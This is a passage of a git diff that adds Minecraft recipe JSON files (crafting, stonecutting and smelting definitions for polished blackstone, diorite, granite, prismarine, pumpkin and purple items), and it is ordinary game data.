b/src/data/minecraft/recipes/polished_blackstone_brick_wall_from_blackstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:blackstone" + }, + "result": "minecraft:polished_blackstone_brick_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_brick_wall_from_polished_blackstone_bricks_stonecutting.json b/src/data/minecraft/recipes/polished_blackstone_brick_wall_from_polished_blackstone_bricks_stonecutting.json new file mode 100644 index 00000000..55124ece --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_brick_wall_from_polished_blackstone_bricks_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:polished_blackstone_bricks" + }, + "result": "minecraft:polished_blackstone_brick_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_brick_wall_from_polished_blackstone_stonecutting.json b/src/data/minecraft/recipes/polished_blackstone_brick_wall_from_polished_blackstone_stonecutting.json new file mode 100644 index 00000000..fe937e30 --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_brick_wall_from_polished_blackstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:polished_blackstone" + }, + "result": "minecraft:polished_blackstone_brick_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_bricks.json b/src/data/minecraft/recipes/polished_blackstone_bricks.json new file mode 100644 index 00000000..4f18772a --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_bricks.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:polished_blackstone" + } + }, + "result": { + "item": "minecraft:polished_blackstone_bricks", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_bricks_from_blackstone_stonecutting.json b/src/data/minecraft/recipes/polished_blackstone_bricks_from_blackstone_stonecutting.json new file mode 100644 index 00000000..bbea7027 --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_bricks_from_blackstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:blackstone" + }, + "result": "minecraft:polished_blackstone_bricks", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_bricks_from_polished_blackstone_stonecutting.json b/src/data/minecraft/recipes/polished_blackstone_bricks_from_polished_blackstone_stonecutting.json new file mode 100644 index 00000000..d9cd6610 --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_bricks_from_polished_blackstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:polished_blackstone" + }, + "result": "minecraft:polished_blackstone_bricks", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_button.json b/src/data/minecraft/recipes/polished_blackstone_button.json new file mode 100644 index 00000000..292d1fd5 --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_button.json @@ -0,0 +1,11 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:polished_blackstone" + } + ], + "result": { + "item": "minecraft:polished_blackstone_button" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_from_blackstone_stonecutting.json b/src/data/minecraft/recipes/polished_blackstone_from_blackstone_stonecutting.json new file mode 100644 index 00000000..d1e9e50b --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_from_blackstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:blackstone" + }, + "result": "minecraft:polished_blackstone", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_pressure_plate.json b/src/data/minecraft/recipes/polished_blackstone_pressure_plate.json new file mode 100644 index 00000000..e853ec91 --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_pressure_plate.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:polished_blackstone" + } + }, + "result": { + "item": "minecraft:polished_blackstone_pressure_plate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_slab.json b/src/data/minecraft/recipes/polished_blackstone_slab.json new file mode 100644 index 00000000..c4ad40c0 --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:polished_blackstone" + } + }, + "result": { + "item": "minecraft:polished_blackstone_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_slab_from_blackstone_stonecutting.json b/src/data/minecraft/recipes/polished_blackstone_slab_from_blackstone_stonecutting.json new file mode 100644 index 00000000..3c00f202 --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_slab_from_blackstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:blackstone" + }, + "result": "minecraft:polished_blackstone_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_slab_from_polished_blackstone_stonecutting.json b/src/data/minecraft/recipes/polished_blackstone_slab_from_polished_blackstone_stonecutting.json new file mode 100644 index 00000000..8bf386bd --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_slab_from_polished_blackstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:polished_blackstone" + }, + "result": "minecraft:polished_blackstone_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_stairs.json b/src/data/minecraft/recipes/polished_blackstone_stairs.json new file mode 100644 index 00000000..2abf2502 --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:polished_blackstone" + } + }, + "result": { + "item": "minecraft:polished_blackstone_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_stairs_from_blackstone_stonecutting.json b/src/data/minecraft/recipes/polished_blackstone_stairs_from_blackstone_stonecutting.json new file mode 100644 index 00000000..c793f74f --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_stairs_from_blackstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:blackstone" + }, + "result": "minecraft:polished_blackstone_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_stairs_from_polished_blackstone_stonecutting.json b/src/data/minecraft/recipes/polished_blackstone_stairs_from_polished_blackstone_stonecutting.json new file mode 100644 index 00000000..fa77af5d --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_stairs_from_polished_blackstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:polished_blackstone" + }, + "result": "minecraft:polished_blackstone_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_wall.json b/src/data/minecraft/recipes/polished_blackstone_wall.json new file mode 100644 index 00000000..555486e4 --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_wall.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:polished_blackstone" + } + }, + "result": { + "item": "minecraft:polished_blackstone_wall", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_wall_from_blackstone_stonecutting.json b/src/data/minecraft/recipes/polished_blackstone_wall_from_blackstone_stonecutting.json new file mode 100644 index 00000000..e40a0cdc --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_wall_from_blackstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:blackstone" + }, + "result": "minecraft:polished_blackstone_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_wall_from_polished_blackstone_stonecutting.json b/src/data/minecraft/recipes/polished_blackstone_wall_from_polished_blackstone_stonecutting.json new file mode 100644 index 00000000..ba3c0f3a --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_wall_from_polished_blackstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:polished_blackstone" + }, + "result": "minecraft:polished_blackstone_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_diorite.json b/src/data/minecraft/recipes/polished_diorite.json new file mode 100644 index 00000000..94020d0e --- /dev/null +++ b/src/data/minecraft/recipes/polished_diorite.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "SS", + "SS" + ], + "key": { + "S": { + "item": "minecraft:diorite" + } + }, + "result": { + "item": "minecraft:polished_diorite", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_diorite_from_diorite_stonecutting.json b/src/data/minecraft/recipes/polished_diorite_from_diorite_stonecutting.json new file mode 100644 index 00000000..144024c4 --- /dev/null +++ b/src/data/minecraft/recipes/polished_diorite_from_diorite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:diorite" + }, + "result": "minecraft:polished_diorite", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_diorite_slab.json b/src/data/minecraft/recipes/polished_diorite_slab.json new file mode 100644 index 00000000..52f02578 --- /dev/null +++ b/src/data/minecraft/recipes/polished_diorite_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:polished_diorite" + } + }, + "result": { + "item": "minecraft:polished_diorite_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_diorite_slab_from_diorite_stonecutting.json b/src/data/minecraft/recipes/polished_diorite_slab_from_diorite_stonecutting.json new file mode 100644 index 00000000..897753f2 --- /dev/null +++ b/src/data/minecraft/recipes/polished_diorite_slab_from_diorite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:diorite" + }, + "result": "minecraft:polished_diorite_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_diorite_slab_from_polished_diorite_stonecutting.json b/src/data/minecraft/recipes/polished_diorite_slab_from_polished_diorite_stonecutting.json new file mode 100644 index 00000000..63b9932d --- /dev/null +++ b/src/data/minecraft/recipes/polished_diorite_slab_from_polished_diorite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:polished_diorite" + }, + "result": "minecraft:polished_diorite_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_diorite_stairs.json b/src/data/minecraft/recipes/polished_diorite_stairs.json new file mode 100644 index 00000000..4aa8827e --- /dev/null +++ b/src/data/minecraft/recipes/polished_diorite_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:polished_diorite" + } + }, + "result": { + "item": "minecraft:polished_diorite_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_diorite_stairs_from_diorite_stonecutting.json b/src/data/minecraft/recipes/polished_diorite_stairs_from_diorite_stonecutting.json new file mode 100644 index 00000000..6081197b --- /dev/null +++ b/src/data/minecraft/recipes/polished_diorite_stairs_from_diorite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:diorite" + }, + "result": "minecraft:polished_diorite_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_diorite_stairs_from_polished_diorite_stonecutting.json b/src/data/minecraft/recipes/polished_diorite_stairs_from_polished_diorite_stonecutting.json new file mode 100644 index 00000000..2dcf368d --- /dev/null +++ b/src/data/minecraft/recipes/polished_diorite_stairs_from_polished_diorite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:polished_diorite" + }, + "result": "minecraft:polished_diorite_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_granite.json b/src/data/minecraft/recipes/polished_granite.json new file mode 100644 index 00000000..aaac5bcb --- /dev/null +++ b/src/data/minecraft/recipes/polished_granite.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "SS", + "SS" + ], + "key": { + "S": { + "item": "minecraft:granite" + } + }, + "result": { + "item": "minecraft:polished_granite", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_granite_from_granite_stonecutting.json b/src/data/minecraft/recipes/polished_granite_from_granite_stonecutting.json new file mode 100644 index 00000000..701aaace --- /dev/null +++ b/src/data/minecraft/recipes/polished_granite_from_granite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:granite" + }, + "result": "minecraft:polished_granite", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_granite_slab.json b/src/data/minecraft/recipes/polished_granite_slab.json new file mode 100644 index 00000000..6657ae29 --- /dev/null +++ b/src/data/minecraft/recipes/polished_granite_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:polished_granite" + } + }, + "result": { + "item": "minecraft:polished_granite_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_granite_slab_from_granite_stonecutting.json b/src/data/minecraft/recipes/polished_granite_slab_from_granite_stonecutting.json new file mode 100644 index 00000000..abc85b0f --- /dev/null +++ b/src/data/minecraft/recipes/polished_granite_slab_from_granite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:granite" + }, + "result": "minecraft:polished_granite_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_granite_slab_from_polished_granite_stonecutting.json b/src/data/minecraft/recipes/polished_granite_slab_from_polished_granite_stonecutting.json new file mode 100644 index 00000000..590afc3c --- /dev/null +++ b/src/data/minecraft/recipes/polished_granite_slab_from_polished_granite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:polished_granite" + }, + "result": "minecraft:polished_granite_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_granite_stairs.json b/src/data/minecraft/recipes/polished_granite_stairs.json new file mode 100644 index 00000000..761db4d7 --- /dev/null +++ b/src/data/minecraft/recipes/polished_granite_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:polished_granite" + } + }, + "result": { + "item": "minecraft:polished_granite_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_granite_stairs_from_granite_stonecutting.json b/src/data/minecraft/recipes/polished_granite_stairs_from_granite_stonecutting.json new file mode 100644 index 00000000..7231f28a --- /dev/null +++ b/src/data/minecraft/recipes/polished_granite_stairs_from_granite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:granite" + }, + "result": "minecraft:polished_granite_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_granite_stairs_from_polished_granite_stonecutting.json b/src/data/minecraft/recipes/polished_granite_stairs_from_polished_granite_stonecutting.json new file mode 100644 index 00000000..ecee75c2 --- /dev/null +++ b/src/data/minecraft/recipes/polished_granite_stairs_from_polished_granite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:polished_granite" + }, + "result": "minecraft:polished_granite_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/popped_chorus_fruit.json b/src/data/minecraft/recipes/popped_chorus_fruit.json new file mode 100644 index 00000000..bce84d31 --- /dev/null +++ b/src/data/minecraft/recipes/popped_chorus_fruit.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:chorus_fruit" + }, + "result": "minecraft:popped_chorus_fruit", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/powered_rail.json b/src/data/minecraft/recipes/powered_rail.json new file mode 100644 index 00000000..d531334f --- /dev/null +++ b/src/data/minecraft/recipes/powered_rail.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X X", + "X#X", + "XRX" + ], + "key": { + "R": { + "item": "minecraft:redstone" + }, + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:gold_ingot" + } + }, + "result": { + "item": "minecraft:powered_rail", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/prismarine.json b/src/data/minecraft/recipes/prismarine.json new file mode 100644 index 00000000..bc4b3a8b --- /dev/null +++ b/src/data/minecraft/recipes/prismarine.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "SS", + "SS" + ], + "key": { + "S": { + "item": "minecraft:prismarine_shard" + } + }, + "result": { + "item": "minecraft:prismarine" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/prismarine_brick_slab.json b/src/data/minecraft/recipes/prismarine_brick_slab.json new file mode 100644 index 00000000..23be8e56 --- /dev/null +++ b/src/data/minecraft/recipes/prismarine_brick_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:prismarine_bricks" + } + }, + "result": { + "item": "minecraft:prismarine_brick_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/prismarine_brick_slab_from_prismarine_stonecutting.json b/src/data/minecraft/recipes/prismarine_brick_slab_from_prismarine_stonecutting.json new file mode 100644 index 00000000..09763ce9 --- /dev/null +++ b/src/data/minecraft/recipes/prismarine_brick_slab_from_prismarine_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:prismarine_bricks" + }, + "result": "minecraft:prismarine_brick_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/prismarine_brick_stairs.json b/src/data/minecraft/recipes/prismarine_brick_stairs.json new file mode 100644 index 00000000..68601e44 --- /dev/null +++ b/src/data/minecraft/recipes/prismarine_brick_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:prismarine_bricks" + } + }, + "result": { + "item": "minecraft:prismarine_brick_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/prismarine_brick_stairs_from_prismarine_stonecutting.json b/src/data/minecraft/recipes/prismarine_brick_stairs_from_prismarine_stonecutting.json new file mode 100644 index 00000000..bd34ab3c --- /dev/null +++ b/src/data/minecraft/recipes/prismarine_brick_stairs_from_prismarine_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:prismarine_bricks" + }, + "result": "minecraft:prismarine_brick_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/prismarine_bricks.json b/src/data/minecraft/recipes/prismarine_bricks.json new file mode 100644 index 00000000..a682ed9e --- /dev/null +++ b/src/data/minecraft/recipes/prismarine_bricks.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "SSS", + "SSS", + "SSS" + ], + "key": { + "S": { + "item": "minecraft:prismarine_shard" + } + }, + "result": { + "item": "minecraft:prismarine_bricks" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/prismarine_slab.json b/src/data/minecraft/recipes/prismarine_slab.json new file mode 100644 index 00000000..5957feb3 --- /dev/null +++ b/src/data/minecraft/recipes/prismarine_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:prismarine" + } + }, + "result": { + "item": "minecraft:prismarine_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/prismarine_slab_from_prismarine_stonecutting.json b/src/data/minecraft/recipes/prismarine_slab_from_prismarine_stonecutting.json new file mode 100644 index 00000000..6bbbdd65 --- /dev/null +++ b/src/data/minecraft/recipes/prismarine_slab_from_prismarine_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:prismarine" + }, + "result": "minecraft:prismarine_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/prismarine_stairs.json b/src/data/minecraft/recipes/prismarine_stairs.json new file mode 100644 index 00000000..03335c1a --- /dev/null +++ b/src/data/minecraft/recipes/prismarine_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:prismarine" + } + }, + "result": { + "item": "minecraft:prismarine_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/prismarine_stairs_from_prismarine_stonecutting.json b/src/data/minecraft/recipes/prismarine_stairs_from_prismarine_stonecutting.json new file mode 100644 index 00000000..39eef1e6 --- /dev/null +++ b/src/data/minecraft/recipes/prismarine_stairs_from_prismarine_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:prismarine" + }, + "result": "minecraft:prismarine_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/prismarine_wall.json b/src/data/minecraft/recipes/prismarine_wall.json new file mode 100644 index 00000000..e80d38b3 --- /dev/null +++ b/src/data/minecraft/recipes/prismarine_wall.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:prismarine" + } + }, + "result": { + "item": "minecraft:prismarine_wall", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/prismarine_wall_from_prismarine_stonecutting.json b/src/data/minecraft/recipes/prismarine_wall_from_prismarine_stonecutting.json new file mode 100644 index 00000000..fe46ef67 --- /dev/null +++ b/src/data/minecraft/recipes/prismarine_wall_from_prismarine_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:prismarine" + }, + "result": "minecraft:prismarine_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/pumpkin_pie.json b/src/data/minecraft/recipes/pumpkin_pie.json new file mode 100644 index 00000000..bff9f687 --- /dev/null +++ b/src/data/minecraft/recipes/pumpkin_pie.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:pumpkin" + }, + { + "item": "minecraft:sugar" + }, + { + "item": "minecraft:egg" + } + ], + "result": { + "item": "minecraft:pumpkin_pie" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/pumpkin_seeds.json b/src/data/minecraft/recipes/pumpkin_seeds.json new file mode 100644 index 00000000..da8f3b46 --- /dev/null +++ b/src/data/minecraft/recipes/pumpkin_seeds.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:pumpkin" + } + ], + "result": { + "item": "minecraft:pumpkin_seeds", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/purple_banner.json b/src/data/minecraft/recipes/purple_banner.json new file mode 100644 index 00000000..d18a8d5e --- /dev/null +++ b/src/data/minecraft/recipes/purple_banner.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "banner", + "pattern": [ + "###", + "###", + " | " + ], + "key": { + "#": { + "item": "minecraft:purple_wool" + }, + "|": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:purple_banner" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/purple_bed.json b/src/data/minecraft/recipes/purple_bed.json new file mode 100644 index 00000000..0d23fecb --- /dev/null +++ b/src/data/minecraft/recipes/purple_bed.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bed", + "pattern": [ + "###", + "XXX" + ], + "key": { + "#": { + "item": "minecraft:purple_wool" + }, + "X": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:purple_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/purple_bed_from_white_bed.json b/src/data/minecraft/recipes/purple_bed_from_white_bed.json new file mode 100644 index 00000000..218754f0 --- /dev/null +++ b/src/data/minecraft/recipes/purple_bed_from_white_bed.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "dyed_bed", + "ingredients": [ + { + "item": "minecraft:white_bed" + }, + { + "item": "minecraft:purple_dye" + } + ], + "result": { + "item": "minecraft:purple_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/purple_carpet.json b/src/data/minecraft/recipes/purple_carpet.json new file mode 100644 index 00000000..b2f8e9d1 --- /dev/null +++ b/src/data/minecraft/recipes/purple_carpet.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:purple_wool" + } + }, + "result": { + "item": "minecraft:purple_carpet", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/purple_carpet_from_white_carpet.json b/src/data/minecraft/recipes/purple_carpet_from_white_carpet.json new file mode 100644 index 00000000..93010dd2 --- /dev/null +++ b/src/data/minecraft/recipes/purple_carpet_from_white_carpet.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:white_carpet" + }, + "$": { + "item": "minecraft:purple_dye" + } + }, + "result": { + "item": "minecraft:purple_carpet", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/purple_concrete_powder.json b/src/data/minecraft/recipes/purple_concrete_powder.json new file mode 100644 index 00000000..431f8870 --- /dev/null +++ b/src/data/minecraft/recipes/purple_concrete_powder.json @@ -0,0 +1,37 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "concrete_powder", + "ingredients": [ + { + "item": "minecraft:purple_dye" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + } + ], + "result": { + "item": "minecraft:purple_concrete_powder", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/purple_dye.json b/src/data/minecraft/recipes/purple_dye.json new file mode 100644 index 00000000..750d5494 --- /dev/null +++ b/src/data/minecraft/recipes/purple_dye.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:blue_dye" + }, + { + "item": "minecraft:red_dye" + } + ], + "result": { + "item": "minecraft:purple_dye", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/purple_glazed_terracotta.json b/src/data/minecraft/recipes/purple_glazed_terracotta.json new file mode 100644 index 00000000..5b130a01 --- /dev/null +++ b/src/data/minecraft/recipes/purple_glazed_terracotta.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:purple_terracotta" + }, + "result": "minecraft:purple_glazed_terracotta", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/purple_stained_glass.json b/src/data/minecraft/recipes/purple_stained_glass.json new file mode 100644 index 00000000..4b9a91d9 --- /dev/null +++ b/src/data/minecraft/recipes/purple_stained_glass.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass" + }, + "X": { + "item": "minecraft:purple_dye" + } + }, + "result": { + "item": "minecraft:purple_stained_glass", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/purple_stained_glass_pane.json b/src/data/minecraft/recipes/purple_stained_glass_pane.json new file mode 100644 index 00000000..8aa7364d --- /dev/null +++ b/src/data/minecraft/recipes/purple_stained_glass_pane.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + 